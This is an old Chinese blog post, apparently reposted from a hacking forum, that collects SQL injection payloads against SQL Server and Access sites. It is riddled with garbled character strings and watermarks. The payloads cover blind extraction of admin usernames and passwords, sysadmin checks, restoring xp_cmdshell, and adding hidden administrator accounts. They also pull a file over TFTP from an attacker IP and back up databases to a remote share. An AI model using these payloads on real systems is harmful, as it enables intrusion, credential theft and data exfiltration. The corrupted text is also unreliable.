注入漏洞i
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SQL注射语句的经典总结
2007-08-20 13:26:35 / 精华(3) / 置顶(3) / 个人分类:个人随笔★黑基空间★/@.]5R1C6}7oTg,{
SQL注射语句★黑基空间★ |1Q/w?r"j/_ Oj5f
/vo6J!M v01.判断有无注入点★黑基空间★s5^d
d[
' ; and 1=1 and 1=2
i].TMf5u1_gO#t02.猜表一般的表的名称无非是admin adminuser user pass password 等..
4w~z!~5f'`0F%b4K0and 0<>(select count(*) from *)
4X#y._YV~:z-C0and 0<>(select count(*) from admin) ---判断是否存在admin这张表★黑基空间★:Mb.E8i$r3t
8~
u(Sct5m@Q03.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
xwJL1s0and 0<(select count(*) from admin)★黑基空间★c&D)J,am8`
and 1<(select count(*) from admin)
)Vxz+kW&U1F8Z04.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
9ml~r-]b0[7G0and 1=(select count(*) from admin where len(*)>0)--
L"fp6@6nq_0and 1=(select count(*) from admin where len(用户字段名称name)>0)★黑基空间★5['g8J,~awV"y
and 1=(select count(*) from admin where len(密码字段名称password)>0)★黑基空间★/k or5wdS:\.q
`$|d4VaN Wgt05.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
2r%tJk9wLj4Yk#?0and 1=(select count(*) from admin where len(*)>0)★黑基空间★u/}"A#z5h7l
and 1=(select count(*) from admin where len(name)>6) 错误
a,|*]^:vw'D0and 1=(select count(*) from admin where len(name)>5) 正确 长度是6★黑基空间★ p Sf-WK"PrE
and 1=(select count(*) from admin where len(name)=6) 正确★黑基空间★~\5k+@_J[K
and 1=(select count(*) from admin where len(password)>11) 正确★黑基空间★;u cR\f,Ud
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
|~Ek0oA*N2tu#kj0and 1=(select count(*) from admin where len(password)=12) 正确★黑基空间★m5[5Mcat@jiA9{s2e
;O+I%JyC5Kxs/k2j5B06.猜解字符
N$e;k.c`$q8y`4R0and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位★黑基空间★J
{`8F2}3Y9A x"j8m}f
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位★黑基空间★1_B d,['}{E2E6z+a k
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了★黑基空间★*Br_|v ^
Y a0C(XCzs+L0and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --★黑基空间★ I
y"p
ZxU`HT-f
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.★黑基空间★am?2M#?v/H"G
)J"xC8G!\.R\0看服务器打的补丁=出错了打了SP4补丁
U(mn
f#^nB8t"H4xM0and 1=(select @@VERSION)--★黑基空间★7U&_6f7G9j$|
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
GKC:C`BS Y0and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)★黑基空间★:`3QusiR!C
and 'sa'=(Select System_user)--
2a(t9R[B1LfA0and user_name()='dbo'--★黑基空间★)Q*`z0t,n%b
and 0<>(select user_name()--★黑基空间★MB1IbP1QjM
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND★黑基空间★M#q C|&V$Nh
name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
)D[4W4Jc0Q*OG(K[0;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--★黑基空间★i3k?p7Z\0XmB3D*`
;EXEC master.dbo.sp_addextendedproc★黑基空间★Z/a?3wz$k-Q
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--★黑基空间★-y
q Fw,I
反向PING自己实验
Q/c$w1|7^Q/J;}A0;use master;declare @s int;exec sp_oacreate "wscrīpt.shell",@s out;exec
1U8G'?&Q4gs0sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
WKJZT0;DECLARE @shell INT EXEC SP_OACreate 'wscrīpt.shell',@shell OUTPUT EXEC★黑基空间★QB
b^D~B'Dh
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user★黑基空间★2X(M0j_U$P\
}%uj
jiaoniang$ 1866574 /add'--★黑基空间★z6V"YU hQdq6{
创建一个虚拟目录E盘:★黑基空间★ _C/U;KP
;declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod
@!l]dX7mT!`7]0@o, 'run', NULL,' cscrīpt.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
)g~U%N*l.Sf0-v "e","e:\"'--
r4n7jf8yFL2Yo0访问属性:(配合写入一个webshell)
#wh:}C#a:x%a4]]0declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod★黑基空间★:^
z%{zB;Q)S1c
@o, 'run', NULL,' cscrīpt.exe c:\inetpub\wwwroot\chaccess.vbs -a★黑基空间★*}VN*II5YAY,}
w3svc/1/ROOT/e +browse'★黑基空间★#`4aP6D^
/C,dZQnY&G0爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交★黑基空间★ Zjx2VC*j;lm
★黑基空间★}*h3]$t'Od5yyc2r★黑基空间★ggm@)i$]
|p/S'PN
如何得到SQLSERVER某个数据库中所有表的表名?★黑基空间★Ms%I'j~HyN
0`!Rk F{)[T0--------------------------------------------------------------------------------★黑基空间★'C([`(`%eZ
$T3eK7p;]\O0y Mi0用户表:★黑基空间★y/@3}Iw0x!\"Vdd5?
select name from sysobjects where xtype = 'U';
9VX+j UWQ7x&l0系统表:★黑基空间★h\T;qnmT"y
select name from sysobjects where xtype = 'S';
所有表:★黑基空间★+e~yLi4mq!i1]'s \#E0C#x
select name from sysobjects where xtype = 'S' or xtype = 'U';★黑基空间★p4Y(]g8o-WwZq
&RLUc-UUr0--------------------------------------------------------------------------------
V#l B"nx9P&X?n0and 0<>(select top 1 paths from newtable)--★黑基空间★d KQB3`1?2w
得到库名(从1到5都是系统的id,6以上才可以判断)★黑基空间★X"u[]ZS5M[
and 1=(select name from master.dbo.sysdatabases where dbid=7)--★黑基空间★&qlq*l CMO$C${
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
M:I1^_O0dbid=6)
qZ6TTE0依次提交 dbid = 7,8,9.... 得到更多的数据库名
,Cz!lP7wx`h @S0and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表★黑基空间★*^
Rq'BnT4U[Yj![~
假设为 admin
.~2ynA`8A k9^0and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name★黑基空间★:t/rY7KA3jF
not in ('Admin')) 来得到其他的表。
m)D;w6m(j1G2]0and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
q0x'Q9~
L`I0name='admin'★黑基空间★6Ow3u.ha}*|w7W!z
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
~KPO"u pF!h0and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
n1S$J"J1FM3`A7u0得到一个admin的一个字段,假设为 user_id★黑基空间★2d!dR+ad[:hE&B
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and★黑基空间★4f(]G*{4D)M
name not in★黑基空间★%O
StXgS;W
('id',...)) 来暴出其他的字段
6E"_$BW#^*tM0and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
ik2G0p"]0依次可以得到密码。。。。。假设存在user_id username ,password 等字段
%VSJVy8` uEx0\0and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and★黑基空间★X@
IA0w"^Y
dbid=6)★黑基空间★eXs2yn-J8q6g
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名★黑基空间★6Jq;w wU
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
~'ZN*E
D8p0not in('Address'))
7o,iGYD/PJ[&z&z0and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and★黑基空间★#KS[8_!M-z#V_
name='admin' and uid>(str(id))) 判断id值
CJvH;ov4G0and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
l*~umyx*c[1M3e0?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
3yNY+y
~0(union,access也好用)
,h1a'{G)Iu:F,R0得到WEB路径★黑基空间★;u-x+g)y!B:h eUh$m(DC
;create table [dbo].[swap] ([swappass][char](255));--
(ny*y
g3Q;N3p0and (select top 1 swappass from swap)=1--★黑基空间★g6@]@.^nZ(z
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
9^HG3[\#|0@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',★黑基空间★j4G"LR
zK
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
_d_/Fb,k0@value_name='/', values=@test OUTPUT insert into paths(path)★黑基空间★)E'G}7y#m-x)N
values(@test)--★黑基空间★$L:i@c2{I3cr5}:k
;use ku1;--
)E_*C3m3w}9~i0;create table cmd (str image);-- 建立image类型的表cmd★黑基空间★_C@h&J
存在xp_cmdshell的测试过程:
zk:I.Y&^kw9Q?0;exec master..xp_cmdshell 'dir'
_]yh$~N7v0;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
7AlI#O4bw.G qd#?C)^$?0;exec master.dbo.sp_password null,jiaoniang$,1866574;--★黑基空间★:|tN0k?.@J
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--★黑基空间★L}&Wc!l
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*★黑基空间★Y2i{j^a@r+q
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--★黑基空间★Y
`Os7G5Z/Fp
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$★黑基空间★n0aN+^ G(hG4V
/add';--★黑基空间★(c D%sIh0hg f2Uc\R
exec master..xp_servicecontrol 'start', 'schedule' 启动服务★黑基空间★5zI|1H3]0K
exec master..xp_servicecontrol 'start', 'server'
y Qtw9V~T0; DECLARE @shell INT EXEC SP_OACreate 'wscrīpt.shell',@shell OUTPUT EXEC★黑基空间★4bo,k5i4\fLKL
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
6jD5bTy\7?0jiaoniang$ 1866574 /add'★黑基空间★t#QN-~Mg"o'n
;DECLARE @shell INT EXEC SP_OACreate 'wscrīpt.shell',@shell OUTPUT EXEC★黑基空间★1Z:w:[lYs
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net
+UQ g5[-y5|0localgroup administrators jiaoniang$ /add'★黑基空间★!I7xq7s9U4}YX
u9X
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件
N2?
p
KND1nm@0;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
u/X^5_%t3K^0;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
i
|Y9hah[v0;declare @a;set @a=db_name();backup database @a to★黑基空间★6Wg'I0\#d
disk='你的IP你的共享目录bak.dat'★黑基空间★tYQ@cgE+W
如果被限制则可以。★黑基空间★9rpls4}Ye
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec★黑基空间★^SR7ZQ
master.dbo.sp_addlogin hax')
4?b&`}:AO0查询构造:★黑基空间★'E:BM3U6A^b
Select * FROM news Where id=... AND topic=... AND .....★黑基空间★0c@Q2[6c3K;E
admin'and 1=(select count(*) from [user] where username='victim' and
5^U}b,}(fe0right(left(userpass,01),1)='1') and userpass <>'
.Wzq
f/NO.Qi(L0select 123;--★黑基空间★.oas+nH/p
;use master;--